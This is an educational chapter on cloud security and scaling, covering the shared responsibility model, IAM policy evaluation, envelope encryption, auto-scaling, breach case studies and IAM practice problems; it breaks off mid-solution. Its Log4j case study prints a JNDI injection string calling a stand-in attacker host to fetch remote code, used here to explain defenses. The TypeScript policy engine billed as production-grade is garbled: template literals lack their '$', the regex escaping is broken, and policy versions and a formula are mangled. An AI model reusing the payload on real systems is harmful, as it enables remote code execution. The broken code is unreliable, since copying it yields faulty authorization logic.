Cloud Security, IAM & Infrastructure Scaling

In cloud computing environments, physical perimeters do not exist from the perspective of the tenant. There is no physical server room door to lock, no proprietary network cable to guard, and no physical patch panel to disconnect. Instead, the logical perimeter is defined entirely by software: cryptographic keys, identity assertions, policy evaluation engines, network micro-segmentation, and automated orchestration systems.

Operating securely at hyper-scale requires a foundational paradigm shift. Traditional perimeter-based security ("castle-and-moat") assumed that entities inside the corporate intranet were inherently trustworthy. In modern cloud architecture, this assumption is replaced with Zero Trust: every request, whether originating from the public Internet or from an adjacent microservice within the same Virtual Private Cloud, must be explicitly authenticated, strictly authorized against granular policies, and encrypted in transit. Furthermore, systems must possess elasticity—dynamically scaling compute and network resources in response to volatile demand while maintaining resilience against adversarial denial-of-service attempts.

1. The Cloud Shared Responsibility Model#

A critical source of enterprise cloud security breaches is the failure to understand the boundary between provider responsibilities and customer responsibilities. Cloud security is fundamentally governed by the Shared Responsibility Model.

+----------------------------------------------------------------------------------------------------+
|                                    CUSTOMER RESPONSIBILITIES                                       |
|                                     (Security "IN" the Cloud)                                      |
|                                                                                                    |
|  * Customer Data & Database Schemas (Classification, Record Integrity, Lifecycle Policies)       |
|  * Identity & Access Management (IAM Users, Groups, Roles, MFA Enforcement, Least Privilege)       |
|  * Application Security & Source Code (Zero-Day Vulnerability Patching, Input Validation, WAF)     |
|  * Operating System Configuration (Guest OS Patching, Local Firewalls, System Hardening)          |
|  * Network & Firewall Configuration (Security Groups, Network ACLs, Routing, TLS Termination)     |
|  * Encryption Management (Customer Master Keys, S3 Server-Side Encryption, Client Encryption)      |
+----------------------------------------------------------------------------------------------------+
========================================= THE SECURITY BOUNDARY =====================================
+----------------------------------------------------------------------------------------------------+
|                                  CLOUD PROVIDER RESPONSIBILITIES                                   |
|                                     (Security "OF" the Cloud)                                      |
|                                                                                                    |
|  * Physical Security of Data Centers (Biometric Access, Armed Guards, CCTV, Facility Audits)       |
|  * Server Hardware & Storage Infrastructure (Rack Architecture, Disk Shredding, Power Redundancy)  |
|  * Hypervisor & Virtualization Layer (Kernel Isolation, Microcode Updates, SmartNIC Firmware)      |
|  * Global Physical Network Infrastructure (Underlay Fiber Backbones, Edge PoPs, DDoS Mitigation)   |
|  * Regulatory Compliance Certifications (ISO/IEC 27001, SOC 1/2/3 Type II, PCI-DSS Level 1, etc.) |
+----------------------------------------------------------------------------------------------------+

Responsibility Across Service Abstractions#

The division of responsibility shifts dynamically based on the cloud consumption model selected:

1. Infrastructure as a Service (IaaS) (e.g., AWS EC2, Azure Virtual Machines, GCP Compute Engine):

- Provider Responsibility: Physical facilities, host hardware, hypervisor management, and physical network fabric.

- Customer Responsibility: Guest operating system installation, kernel updates, security patching, middleware configuration, database tuning, network access rules, and application code.

1. Platform as a Service (PaaS) (e.g., AWS Elastic Beanstalk, Google Cloud Run, Azure App Service):

- Provider Responsibility: Physical hardware, hypervisor, host operating system, runtime container environments, and automatic operating system security patching.

- Customer Responsibility: Application code, third-party library dependencies, database schema security, and environment-level IAM configuration.

1. Software as a Service (SaaS) (e.g., Google Workspace, Microsoft 365, Salesforce):

- Provider Responsibility: The entire technology stack from physical hardware up through the application runtime, database engine, feature deployment, and high availability.

- Customer Responsibility: User access management, multi-factor authentication (MFA) enforcement, data access governance, and preventing credential leakage.

2. Identity & Access Management (IAM) Foundations#

In cloud architecture, Identity is the New Perimeter. Identity and Access Management (IAM) governs who can authenticate and what actions they can perform against specific cloud resources.

+-----------------------------------------------------------------------------------+
|                                  IAM PRINCIPALS                                   |
|                                                                                   |
|  +--------------------+   +--------------------+   +---------------------------+  |
|  | Human Developer    |   | Cloud Workload     |   | External Identity         |  |
|  | (IAM User / Okta)  |   | (EC2 Instance / K8s|   | (GitHub Actions / CI/CD)  |  |
|  +---------+----------+   +---------+----------+   +-------------+-------------+  |
+------------|------------------------|----------------------------|----------------+
             |                        |                            |
             | Authenticates          | Assumes Role via           | Assumes Role via
             | (Password + MFA)       | Instance Profile           | OpenID Connect (OIDC)
             v                        v                            v
+-----------------------------------------------------------------------------------+
|                        AWS SECURITY TOKEN SERVICE (STS)                           |
|                                                                                   |
|  * Validates identity assertion (SAML 2.0 / OIDC JWT / SigV4)                     |
|  * Issues Temporary Security Credentials:                                         |
|    - Access Key ID (e.g., ASIA...)                                                |
|    - Secret Access Key                                                            |
|    - Ephemeral Session Token (Expires in 15 mins to 12 hours)                     |
+-------------------------------------+---------------------------------------------+
                                      |
                                      v
+-----------------------------------------------------------------------------------+
|                            IAM POLICY EVALUATION ENGINE                           |
|                                                                                   |
|  * Compiles: Service Control Policies (SCPs) + Identity Policies + Resource Policy |
|  * Strict Deterministic Logic: Explicit Deny > Explicit Allow > Implicit Deny     |
+-------------------------------------+---------------------------------------------+
                                      |
                       +--------------+--------------+
                       |                             |
                       v ALLOW                       v DENY
         +--------------------------+  +--------------------------+
         | Authorized API Operation |  | HTTP 403 Access Denied   |
         | (e.g., s3:GetObject)     |  | (Request Logged to SIEM) |
         +--------------------------+  +--------------------------+

Core IAM Primitives#

Every hyper-scale cloud constructs its IAM system using fundamental entities:

• Principals: An entity that can authenticate and make an API request to a cloud service. Principals include human users, federated identity providers, and automated workloads (e.g., an AWS Lambda function or a Kubernetes pod).
• Authentication (AuthN): The process of verifying that a principal is who they claim to be. In cloud environments, AuthN relies on cryptographic signatures (e.g., AWS Signature Version 4 HMAC-SHA256), OAuth2 bearer tokens, or SAML 2.0 / OIDC assertions.
• Authorization (AuthZ): The process of determining whether an authenticated principal has permission to perform a specified action on a specific resource under defined contextual conditions.
• IAM Roles vs. IAM Users:

- IAM User: A long-lived entity with static credentials (password and persistent Access Key ID / Secret Access Key). Static access keys represent a catastrophic security risk if committed to version control.

- IAM Role: An identity that can be assumed by anyone who needs it, granting temporary, automatically rotating security credentials. Roles have no permanent passwords or static keys. Workloads running on cloud compute instances should always use IAM Roles (via instance profiles or workload identity federation) rather than hardcoded credentials.

Workload Identity Federation & OIDC#

Modern DevOps workflows avoid storing static cloud credentials inside third-party CI/CD runners (such as GitHub Actions or GitLab). Instead, they leverage OpenID Connect (OIDC):

1. When a GitHub Actions workflow executes, the GitHub runner generates an OIDC JSON Web Token (JWT) cryptographically signed by GitHub's private key.
2. The runner presents this JWT to the cloud provider's Security Token Service (STS) via an AssumeRoleWithWebIdentity API call.
3. STS validates the JWT signature against GitHub's public OIDC keys (https://token.actions.githubusercontent.com), inspects the claims (e.g., verifying repository: "org/repo" and ref: "refs/heads/main"), and issues short-lived temporary cloud credentials valid for 1 hour.
4. Static cloud secrets are completely eliminated from source repositories.

3. The Mathematics and Logic of IAM Policy Evaluation#

Cloud authorization engines evaluate requests using deterministic policy calculus. Understanding this evaluation flow is necessary to avoid catastrophic security loopholes or persistent "Access Denied" errors.

                                 API REQUEST ARRIVES
                                          |
                                          v
                   +-----------------------------------------------+
                   | Is there an EXPLICIT DENY in any applicable   |
                   | policy (SCP, Identity, Resource, Boundary)?   |
                   +----------------------+------------------------+
                                          |
                        YES               | NO
                         +----------------+----------------+
                         |                                 |
                         v                                 v
               +--------------------+   +------------------------------------+
               |   ACCESS DENIED    |   | Is there an EXPLICIT ALLOW in an   |
               | (Explicit Override)|   | applicable policy?                 |
               +--------------------+   +------------------+-----------------+
                                                           |
                                         YES               | NO
                                          +----------------+----------------+
                                          |                                 |
                                          v                                 v
                                +--------------------+            +--------------------+
                                |   ACCESS ALLOWED   |            |   ACCESS DENIED    |
                                |                    |            |   (Implicit Deny)  |
                                +--------------------+            +--------------------+

The PARC Policy Structure#

Cloud IAM policies are declared as structured JSON documents composed of statements following the PARC framework:

• Principal: Who the policy applies to (required in resource-based policies; omitted in identity-based policies because the identity is the principal).
• Action: The specific API operations allowed or denied (e.g., s3:GetObject, ec2:RunInstances, dynamodb:Query).
• Resource: The Amazon Resource Name (ARN) or uniform URI identifying the target objects (e.g., arn:aws:s3:::production-financial-records/*).
• Condition: Optional contextual constraints under which the policy is valid (e.g., enforcing SSL, restricting source IP CIDRs, or verifying multi-factor authentication).

The Golden Rule of IAM Evaluation#

The cloud authorization decision algorithm executes according to three immutable axioms:

Decision Rule:

• DENY: if there exists an Explicit Deny

• ALLOW: if (no Explicit Deny) AND (there exists an Explicit Allow)

• DENY: otherwise (Default Implicit Deny)

1. Explicit Deny Always Wins: If even a single applicable policy statement contains an Effect: "Deny" matching the request, the request is instantly rejected, overriding any number of permissive Effect: "Allow" statements.
2. Default Implicit Deny: By default, all requests are denied. A principal has zero access until an explicit Effect: "Allow" is evaluated.
3. Multi-Policy Composition: In enterprise environments, the evaluation engine intersects multiple distinct policy domains:

- Service Control Policies (SCPs): Guardrails applied at the AWS Organizations / Azure Management Group level. If an SCP does not allow an action, no IAM admin inside an individual member account can ever grant that action.

- Permissions Boundaries: Advanced IAM guardrails that set the maximum possible permissions an identity-based policy can grant.

- Identity-Based Policies: Policies directly attached to the IAM User or Role.

- Resource-Based Policies: Policies attached directly to the resource (e.g., S3 Bucket Policies, KMS Key Policies).

4. Cryptographic Key Management & Data Protection#

Protecting sensitive enterprise data in the cloud requires cryptographic controls operating at both the storage layer and the transport layer.

+----------------------------------------------------------------------------------------------------+
|                                    ENVELOPE ENCRYPTION ARCHITECTURE                                |
|                                                                                                    |
|  1. APPLICATION REQUESTS DATA KEY:                                                                 |
|     Application ---> KMS:GenerateDataKey(KeyId="kms-cmk-uuid", KeySpec="AES_256")                 |
|                                                                                                    |
|  2. KMS HARDWARE SECURITY MODULE (HSM):                                                            |
|     +-------------------------------------------------------------------------------------------+  |
|     |  Customer Master Key (CMK) / Key Encryption Key (KEK): Never leaves HSM boundary          |  |
|     |  * Generates Plaintext Data Encryption Key (DEK): 256-bit random symmetric key           |  |
|     |  * Encrypts Plaintext DEK with CMK: Yields Encrypted DEK (Ciphertext Blob)                |  |
|     +-------------------------------------------------------------------------------------------+  |
|                                                                                                    |
|  3. KMS RETURNS TWO ARTIFACTS TO APPLICATION:                                                      |
|     <- Returns: [Plaintext DEK (in-memory only)] AND [Encrypted DEK (persisted)]                   |
|                                                                                                    |
|  4. LOCAL HIGH-THROUGHPUT APPLICATION ENCRYPTION:                                                  |
|     * Application encrypts 10 Gigabyte File using Plaintext DEK via AES-256-GCM.                   |
|     * Plaintext DEK is ZEROED AND PURGED from memory immediately upon completion.                  |
|     * Ciphertext File AND Encrypted DEK are written to Amazon S3 storage side-by-side.             |
+----------------------------------------------------------------------------------------------------+

Envelope Encryption Mechanics#

Directly sending massive multi-gigabyte data files across the network to a central cryptographic key management service (such as AWS KMS, Azure Key Vault, or HashiCorp Vault) is architecturally unviable:

• Network latency and bandwidth choke points would cripple database read/write throughput.
• Centralized key management services enforce strict API rate limits (e.g., 10,000 requests per second).
• Encrypting large files centrally incurs massive API processing expenses.

Cloud systems resolve this through Envelope Encryption:

• Key Encryption Key (KEK) / Customer Master Key (CMK): A high-level master key managed securely inside a Hardware Security Module (HSM). The CMK never leaves the HSM unencrypted. It is used exclusively to encrypt and decrypt smaller keys.
• Data Encryption Key (DEK): A single-use symmetric cryptographic key (typically AES-256-GCM) generated on demand. The application requests a DEK from KMS. KMS returns both the Plaintext DEK and the Encrypted DEK (wrapped by the CMK).
• The Execution: The application uses the Plaintext DEK in local CPU cache to encrypt gigabytes of raw data at line rate. Once encryption finishes, the Plaintext DEK is destroyed from memory. The Encrypted DEK is stored directly alongside the ciphertext in storage metadata.
• Decryption: To read the data, the application sends only the small Encrypted DEK blob back to KMS (kms:Decrypt). KMS unwraps the DEK using the CMK inside the HSM and returns the Plaintext DEK, allowing the client to decrypt the payload locally.

Hardware Security Modules (HSMs) & FIPS 140-2 Compliance#

Regulated industries (defense, finance, healthcare) mandate that cryptographic keys must be physically safeguarded against extraction:

• FIPS 140-2 Level 2: Software-enforced multi-tenant isolation with basic physical tamper evidence (standard AWS KMS / Azure Key Vault).
• FIPS 140-2 Level 3: Dedicated physical HSM appliances with active physical tamper detection and zeroization circuitry (e.g., AWS CloudHSM, Azure Key Vault Managed HSM). If physical tampering (drilling, voltage anomalies, temperature extremes) is detected, the silicon immediately wipes all cryptographic keys from memory within microseconds.

5. Elastic Auto-Scaling & Workload Self-Healing#

The defining economic and architectural benefit of cloud computing is elasticity: the capability to dynamically allocate and deallocate compute, storage, and networking capacity in exact alignment with real-time operational load.

       WORKLOAD DEMAND SPIKE                                    WORKLOAD DEMAND COLLAPSE
                 |                                                         |
                 v                                                         v
   +---------------------------+                             +---------------------------+
   | Average CPU > 70% for     |                             | Average CPU < 30% for     |
   | 3 consecutive minutes     |                             | 5 consecutive minutes     |
   +-------------+-------------+                             +-------------+-------------+
                 |                                                         |
                 v SCALE-OUT TRIGGER                                       v SCALE-IN TRIGGER
   +---------------------------------------+                 +---------------------------------------+
   | Auto Scaling Engine Provisions +2 VMs |                 | Auto Scaling Engine Terminates 2 VMs  |
   | 1. Launch instance from template      |                 | 1. Deregister from Load Balancer      |
   | 2. Run cloud-init / bootstrap script  |                 | 2. Connection Draining (60-sec grace) |
   | 3. Pass Load Balancer health check    |                 | 3. Graceful process shutdown          |
   | 4. Begin receiving production traffic |                 | 4. Release virtual compute capacity   |
   +---------------------------------------+                 +---------------------------------------+
                 |                                                         |
                 +---------------------------+-----------------------------+
                                             |
                                             v
                           +-----------------------------------+
                           | COOLDOWN TIMER ACTIVATED (300 SEC)|
                           | Prevents rapid metric oscillation |
                           | (Hysteresis / Flapping Control)   |
                           +-----------------------------------+

Scaling Topologies: Horizontal versus Vertical#

• Vertical Scaling (Scale-Up / Scale-Down): Resizing an existing virtual instance to a larger machine type (e.g., moving from an m5.large with 2 vCPUs and 8 GB RAM to an m5.4xlarge with 16 vCPUs and 64 GB RAM).

- Limitation: Requires a service restart or hypervisor migration, introducing unavoidable downtime. Furthermore, hardware has a hard physical ceiling.

• Horizontal Scaling (Scale-Out / Scale-In): Dynamically increasing or decreasing the number of identical stateless worker instances operating behind an Elastic Load Balancer.

- Advantage: Enables limitless theoretical scaling with zero downtime. Compute nodes can be provisioned across multiple distinct Availability Zones, ensuring fault tolerance.

Scaling Policy Types#

Auto Scaling Groups (ASGs) and Kubernetes Horizontal Pod Autoscalers (HPAs) evaluate scaling actions using three primary methodologies:

1. Target Tracking Scaling: The modern industry standard. The engineer defines an objective target metric (e.g., "Maintain average aggregate CPU utilization across all instances at exactly 65%"). The cloud scaling controller continuously calculates the proportional delta and automatically computes the exact instance count required:

Desired Capacity = ceil(Current Capacity × ≤ft( (Current Metric Value) / (Target Metric Value) ))2. Step Scaling: Increases or decreases capacity based on a tiered set of threshold breaches (e.g., if CPU is between 70% and 80%, add 1 instance; if CPU exceeds 80%, add 3 instances immediately).

1. Scheduled Scaling: Scales capacity based on predictable chronological patterns (e.g., scaling out from 5 to 50 instances at 08:30 AM every Monday morning in anticipation of market open, and scaling back down at 05:00 PM).

The Flapping Problem & Hysteresis Control#

A classic failure in naive auto-scaling configurations is flapping (also known as metric oscillation or thrashing):

• Workload surges, driving CPU utilization to 85%. The scaling engine immediately boots 4 new instances.
• As the 4 instances join the load balancer pool, average CPU drops sharply to 25%.
• The scaling engine immediately detects low utilization and terminates 4 instances.
• Terminating the instances instantly pushes average CPU back up to 85%, repeating the cycle indefinitely.

This rapid, wasteful provisioning and deprovisioning incurs severe instability, dropped connections, and inflated billing. Cloud architects prevent flapping using Hysteresis Controls:

• Cooldown Periods: A mandatory buffer period (e.g., 300 seconds) after any scaling activity during which the auto-scaling engine ignores metric alarms, allowing newly launched instances time to stabilize and warm their local caches.
• Connection Draining (Deregistration Delay): When an instance is selected for termination, the load balancer stops forwarding new requests and allows in-flight HTTP connections a configurable grace period (e.g., 60 seconds) to complete cleanly before terminating the virtual machine.

6. Industrial Implementation: Complete IAM Policy Engine & Evaluation Simulator#

To master the inner workings of cloud identity and authorization systems, we examine a complete, production-grade TypeScript implementation of an IAM Policy Evaluation Engine. It models multi-policy compilation, wildcard matching, contextual condition validation, and strict enforcement of the Explicit Deny rule.

// iam-policy-engine.ts
// Production-grade implementation of an IAM Policy Evaluation Engine conforming to
// the AWS/Azure deterministic authorization calculus.

export type Effect = 'Allow' | 'Deny';

export interface PolicyCondition {
  operator: 'StringEquals' | 'IpAddress' | 'NumericLessThanEquals';
  key: string;
  value: string | number;
}

export interface Statement {
  sid?: string;
  effect: Effect;
  actions: string[]; // Supports wildcards, e.g. "s3:Get*", "dynamodb:Query"
  resources: string[]; // Supports wildcards, e.g. "arn:aws:s3:::my-bucket/*"
  conditions?: PolicyCondition[];
}

export interface IamPolicy {
  version: string;
  statements: Statement[];
}

export interface RequestContext {
  principal: string;
  action: string; // e.g. "s3:GetObject"
  resource: string; // e.g. "arn:aws:s3:::my-bucket/data.csv"
  clientIp?: string;
  currentHourUtc?: number;
}

export class IamPolicyEngine {
  private policies: IamPolicy[] = [];

  public attachPolicy(policy: IamPolicy): void {
    this.policies.push(policy);
  }

  // String matching supporting standard wildcard asterisks (*)
  private matchesWildcard(pattern: string, input: string): boolean {
    if (pattern === '*' || pattern === input) return true;
    if (!pattern.includes('*')) return pattern === input;

    // Convert glob pattern to regular expression
    const escaped = pattern.replace(/[.+^{}()|[\]\\]/g, '\\&');
    const regexPattern = `^{escaped.replace(/\*/g, '.*')}`;
    const regex = new RegExp(regexPattern);
    return regex.test(input);
  }

  // Evaluate conditions attached to a statement
  private evaluateConditions(conditions: PolicyCondition[], context: RequestContext): boolean {
    for (const cond of conditions) {
      if (cond.operator === 'StringEquals') {
        if (cond.key === 'aws:PrincipalArn') {
          if (context.principal !== cond.value) return false;
        }
      } else if (cond.operator === 'IpAddress') {
        if (cond.key === 'aws:SourceIp') {
          // Simplified exact match / CIDR logic
          if (context.clientIp !== cond.value) return false;
        }
      } else if (cond.operator === 'NumericLessThanEquals') {
        if (cond.key === 'aws:CurrentHour') {
          if (context.currentHourUtc === undefined || context.currentHourUtc > (cond.value as number)) {
            return false;
          }
        }
      }
    }
    return true;
  }

  // Core Evaluation Algorithm: Explicit Deny > Explicit Allow > Implicit Deny
  public evaluate(context: RequestContext): { decision: Effect; reason: string } {
    let hasExplicitAllow = false;
    let allowReason = '';

    for (const policy of this.policies) {
      for (const statement of policy.statements) {
        // 1. Check Action match
        const actionMatch = statement.actions.some((a) => this.matchesWildcard(a, context.action));
        if (!actionMatch) continue;

        // 2. Check Resource match
        const resourceMatch = statement.resources.some((r) => this.matchesWildcard(r, context.resource));
        if (!resourceMatch) continue;

        // 3. Check Conditions match
        if (statement.conditions && !this.evaluateConditions(statement.conditions, context)) {
          continue; // Conditions failed, statement does not apply
        }

        // 4. Inspect Effect
        if (statement.effect === 'Deny') {
          // EXPLICIT DENY TRUMPS EVERYTHING IMMEDIATELY
          return {
            decision: 'Deny',
            reason: `Explicit Deny triggered by statement '{statement.sid || 'unnamed'}'`,
          };
        }

        if (statement.effect === 'Allow') {
          hasExplicitAllow = true;
          allowReason = `Explicit Allow granted by statement '{statement.sid || 'unnamed'}'`;
        }
      }
    }

    if (hasExplicitAllow) {
      return { decision: 'Allow', reason: allowReason };
    }

    // Default Implicit Deny
    return {
      decision: 'Deny',
      reason: 'Implicit Deny: No statement matched with an Effect of Allow.',
    };
  }
}

// Verification and Demonstration Harness
export function runIamPolicyDemo() {
  console.log('=== Initializing Cloud IAM Policy Calculus Simulator ===\n');

  const engine = new IamPolicyEngine();

  // 1. Attach S3 Developer Read/Write Policy
  const devPolicy: IamPolicy = {
    version: '2026-10-17',
    statements: [
      {
        sid: 'AllowS3ReadWriteInDev',
        effect: 'Allow',
        actions: ['s3:GetObject', 's3:PutObject'],
        resources: ['arn:aws:s3:::company-app-dev/*'],
      },
      {
        sid: 'AllowS3ReadOnlyInProd',
        effect: 'Allow',
        actions: ['s3:GetObject'],
        resources: ['arn:aws:s3:::company-app-prod/*'],
      },
    ],
  };

  // 2. Attach Corporate Security Guardrail Policy (Explicit Deny)
  const securityGuardrail: IamPolicy = {
    version: '2026-10-17',
    statements: [
      {
        sid: 'DenyUntrustedIpAccessToProd',
        effect: 'Deny',
        actions: ['s3:*'],
        resources: ['arn:aws:s3:::company-app-prod/*'],
        conditions: [
          {
            operator: 'IpAddress',
            key: 'aws:SourceIp',
            value: '203.0.113.99', // Malicious or untrusted remote IP
          },
        ],
      },
    ],
  };

  engine.attachPolicy(devPolicy);
  engine.attachPolicy(securityGuardrail);

  // Test Case A: Benign Read from Dev Bucket
  const reqA: RequestContext = {
    principal: 'arn:aws:iam::123456789012:user/alice',
    action: 's3:GetObject',
    resource: 'arn:aws:s3:::company-app-dev/logs.txt',
    clientIp: '192.168.1.50',
  };
  const resultA = engine.evaluate(reqA);
  console.log(`[Test A] Alice reads from Dev bucket: {resultA.decision} ({resultA.reason})`);

  // Test Case B: Write to Prod Bucket (Not covered by any Allow)
  const reqB: RequestContext = {
    principal: 'arn:aws:iam::123456789012:user/alice',
    action: 's3:PutObject',
    resource: 'arn:aws:s3:::company-app-prod/config.json',
    clientIp: '192.168.1.50',
  };
  const resultB = engine.evaluate(reqB);
  console.log(`[Test B] Alice writes to Prod bucket: {resultB.decision} ({resultB.reason})`);

  // Test Case C: Read from Prod from Untrusted Attacker IP (Hits Explicit Deny)
  const reqC: RequestContext = {
    principal: 'arn:aws:iam::123456789012:user/alice',
    action: 's3:GetObject',
    resource: 'arn:aws:s3:::company-app-prod/database.bak',
    clientIp: '203.0.113.99',
  };
  const resultC = engine.evaluate(reqC);
  console.log(`[Test C] Alice reads from Prod from Hostile IP: {resultC.decision} ({resultC.reason})`);
}

7. Real-World Case Studies & Architectural Post-Mortems#

Analyzing historical high-profile security disasters illustrates how minor oversights in IAM, credential hygiene, and scaling lead to multi-million-dollar breaches.

Case Study 1: The Uber 2016 AWS S3 Credential Leak#

In late 2016, attackers accessed personal information belonging to 57 million Uber riders and 600,000 drivers.

• The Breach Vector: Two external attackers gained access to a private GitHub repository used by Uber's internal software engineering team. Embedded directly in the source code was a pair of static, long-lived AWS root account Access Keys and Secret Keys.
• The Lateral Movement: The attackers extracted the keys and authenticated directly against the AWS Management APIs. Because the credentials belonged to an administrative account without IP restrictions or MFA enforcement, the attackers executed API calls against Amazon S3, downloading multi-terabyte database archives containing names, email addresses, phone numbers, and driver's license records.
• The Extortion: Rather than disclosing the breach immediately, Uber paid the attackers $100,000 in Bitcoin disguised as a bug bounty fee, leading to severe regulatory penalties, FTC investigations, and criminal convictions of executive security leadership.
• Architectural Lesson: Never hardcode static credentials. Source code repositories must be scanned automatically via pre-commit hooks and CI/CD secret scanning tools (e.g., Trufflehog, GitGuardian). Production cloud services must utilize short-lived IAM roles and federated OIDC rather than static user keys.

Case Study 2: The Imperva 2019 Cloud API Key Exposure#

In August 2019, cybersecurity firm Imperva disclosed that an unauthorized party had accessed an internal AWS database containing customer API keys, SSL certificates, and email addresses for its Cloud Web Application Firewall (WAF) product.

• The Root Cause: During an infrastructure migration to AWS in 2017, an engineering team created an experimental compute instance to test database snapshots. To simplify testing, the instance was assigned an overly broad IAM Role with full read access to all AWS Relational Database Service (RDS) database snapshots across the account.
• The Exploitation: The test instance was inadvertently left running and exposed to the public Internet with an unpatched vulnerability. Attackers compromised the instance, used the attached IAM instance profile to enumerate RDS snapshots, extracted an unencrypted production database snapshot containing sensitive API tokens, and exfiltrated the data.
• Architectural Lesson: Apply least privilege even in development and testing environments. Instance profiles must never possess wildcard administrative access to production snapshots. Unused compute instances must be audited and terminated automatically via Cloud Custodian or AWS Config drift detection rules.

Case Study 3: The Log4j (CVE-2021-44228) Incident & Cloud Defense-in-Depth#

In December 2021, a critical zero-day vulnerability in Apache Log4j allowed remote code execution simply by logging a string containing a malicious Java Naming and Directory Interface (JNDI) LDAP URI: {jndi:ldap://attacker.com/a}.

• The Attack Progression: External attackers submitted exploit payloads in HTTP User-Agent headers. When vulnerable backend microservices logged the header, the JVM initiated an outbound network connection to the attacker's LDAP server to download and execute arbitrary bytecode.
• How Resilient Cloud Architecture Mitigated the Threat:

1. Strict Egress Filtering: Private subnets configured without direct Internet egress or with strict Network Firewalls blocking outbound LDAP ports (TCP 389 and 636) prevented the compromised JVM from reaching the external attacker server, neutralizing the payload.

2. Minimalist IAM Roles: Even where the exploit succeeded in executing local commands inside the container, instances with tightly scoped IAM roles lacked permissions to query the AWS metadata service or access S3 buckets, stopping lateral privilege escalation.

3. Immutable Infrastructure & Auto-Scaling Blue/Green Rollouts: Rather than attempting to patch thousands of live servers manually via SSH, teams baked updated machine images (AMIs) with Log4j 2.16 and triggered automated rolling instance refreshes across Auto Scaling Groups, updating hundreds of thousands of production instances globally within hours.

8. Common Cloud Security & Scaling Anti-Patterns#

Engineering teams operating in hyper-scale cloud environments frequently commit systemic architectural mistakes:

1. Granting Wildcard Administrator Access (`"Action": "*"`)#

• The Mistake: Developers encountering "Access Denied" errors during staging deployment attach the AWS managed AdministratorAccess policy to the application role to get it working quickly.
• The Consequence: If the application suffers an SSRF or Remote Code Execution vulnerability, the attacker possesses full control over the entire cloud infrastructure, with permissions to terminate databases, create rogue cryptocurrency mining instances, and delete audit logs.
• The Fix: Adhere strictly to Least Privilege. Grant only the exact API actions required (e.g., s3:GetObject on a specific prefix) and utilize AWS IAM Access Analyzer or CloudTrail log analysis to generate minimally scoped policies automatically.

2. Auto-Scaling Without Upper Bounds (Uncapped Elasticity)#

• The Mistake: Setting the Auto Scaling Group MaxSize to 1,000 instances without budget alerts or DDoS rate limiting.
• The Consequence: An external distributed denial-of-service attack or an application software bug (such as an infinite recursive loop triggering background jobs) drives metric thresholds continuously upward. The cloud engine dutifully provisions 1,000 high-performance GPU or memory-optimized instances, resulting in a catastrophic overnight cloud bill of tens of thousands of dollars (Economic Denial of Sustainability / EDoS).
• The Fix: Always set conservative, realistic maximum capacity bounds on all auto-scaling groups. Implement AWS WAF rate-limiting rules at the edge, and configure AWS Budgets with automated SNS kill-switch alarms.

3. Misunderstanding S3 Public Access & Cross-Account Resource Policies#

• The Mistake: Writing an S3 bucket policy with "Principal": "*" intending to allow internal corporate accounts to access data, but neglecting to include a condition restricting aws:PrincipalAccount.
• The Consequence: The bucket becomes globally readable by any of the billions of Internet users and automated bot scanners crawling public IP blocks.
• The Fix: Enable S3 Block Public Access at the cloud account organization level. When cross-account access is required, specify the exact trusted 12-digit AWS Account ID in the Principal block: "Principal": { "AWS": "arn:aws:iam::987654321098:root" }.

9. Checkpoint Practice Problems with Detailed Step-by-Step Solutions#

Problem 1: Multi-Statement IAM Policy Evaluation Trace with Condition Block and SCP Conflict#

Scenario: An enterprise operates an AWS Organization with multiple member accounts. A cloud engineer in Account ID 111122223333 has an IAM Role named DevOpsRole. The following three policies govern the role's execution:

1. Service Control Policy (SCP) attached to the Member Account:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowAllServicesExceptRestricted",
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    },
    {
      "Sid": "DenyUnapprovedRegions",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestedRegion": ["us-east-1", "eu-central-1"]
        }
      }
    }
  ]
}

2. Identity-Based Policy attached directly to `DevOpsRole`:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ManageEc2Fleet",
      "Effect": "Allow",
      "Action": ["ec2:StartInstances", "ec2:StopInstances", "ec2:RunInstances"],
      "Resource": "*"
    },
    {
      "Sid": "DenyRunInstancesWithoutOwnerTag",
      "Effect": "Deny",
      "Action": "ec2:RunInstances",
      "Resource": "*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestTag/Owner": "Engineering"
        }
      }
    }
  ]
}

3. Permissions Boundary attached to `DevOpsRole`:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "BoundaryAllowAllCompute",
      "Effect": "Allow",
      "Action": "ec2:*",
      "Resource": "*"
    }
  ]
}

Task:

For each of the following four distinct API requests executed by DevOpsRole, determine whether the evaluation engine outputs ALLOW or DENY. Provide the exact step-by-step logic trace explaining which policy and statement dictated the decision:

• Request A: ec2:StartInstances executed in region us-east-1 with no tags specified.
• Request B: ec2:RunInstances executed in region us-east-1 with tag Owner = "Marketing".
• Request C: ec2:RunInstances executed in region ap-southeast-1 with tag Owner = "Engineering".
• Request D: s3:GetObject executed in region us-east-1 against a public data bucket.

Step-by-Step Solution:

Analysis of Request A:

• Action: ec2:StartInstances, Region: us-east-1, Tags: None.

1. SCP Evaluation:

- Statement 1 allows * on *.

- Statement 2 denies if Region is NOT us-east-1 or eu-central-1. The requested region is us-east-1, so the condition is FALSE. Deny does NOT trigger.

- Result at SCP layer: Allowed.

2. Permissions Boundary Evaluation:

- BoundaryAllowAllCompute explicitly allows ec2:*. Result: Allowed.

3. Identity-Based Policy Evaluation:

- Statement 1 (ManageEc2Fleet) matches ec2:StartInstances and grants Allow.

- Statement 2 (DenyRunInstancesWithoutOwnerTag) targets action ec2:RunInstances, which does not match ec2:StartInstances. Deny does NOT trigger.

• Final Decision for Request A: ALLOW.

Analysis of Request B:

• Action: ec2:RunInstances, Region: us-east-1, Tag: Owner = "Marketing".

1. SCP Evaluation: Passes (region is us-east-1).

2. Permissions Boundary Evaluation: Passes (ec2:* is allowed).

3. Identity-Based Policy Evaluation:

- Statement 1 (ManageEc2Fleet) matches action ec2:RunInstances and grants an explicit Allow.

- Statement 2 (DenyRunInstancesWithoutOwnerTag) targets ec2:RunInstances with condition StringNotEquals: { "aws:RequestTag/Owner": "Engineering" }.

- The request provides Owner = "Marketing". Because "Marketing" does NOT equal "Engineering", the condition evaluates to TRUE.

- Statement 2 triggers an Explicit Deny.

- Axiom: Explicit Deny always overrides Explicit Allow.

• Final Decision for Request B: DENY (Violates tag policy).

Analysis of Request C:

